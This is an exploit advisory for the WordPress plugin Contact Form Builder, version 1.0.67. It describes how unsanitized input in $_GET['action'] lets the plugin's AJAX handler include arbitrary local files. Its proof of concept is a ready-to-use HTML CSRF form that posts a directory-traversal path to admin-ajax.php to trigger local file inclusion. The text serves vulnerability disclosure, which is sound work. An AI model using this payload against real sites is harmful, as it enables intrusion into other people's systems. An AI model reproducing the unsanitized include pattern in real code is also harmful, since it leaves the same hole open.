WordPress Plugin Contact Form Builder [CSRF → LFI]

# Exploit Title: Contact Form Builder [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-builder
# Version: 1.0.67
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `ContactFormMakerPreview`
- `ContactFormmakerwdcaptcha`
- `nopriv_ContactFormmakerwdcaptcha`
- `CFMShortcode`

All of them call the function `contact_form_maker_ajax`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

PoC
------

```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index">
    <label>AJAX action:
        <select name="action">
                <option
value="ContactFormMakerPreview">ContactFormMakerPreview</option>
                <option
value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option>
                <option
value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option>
                <option value="CFMShortcode">CFMShortcode</option>
        </select>
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>
```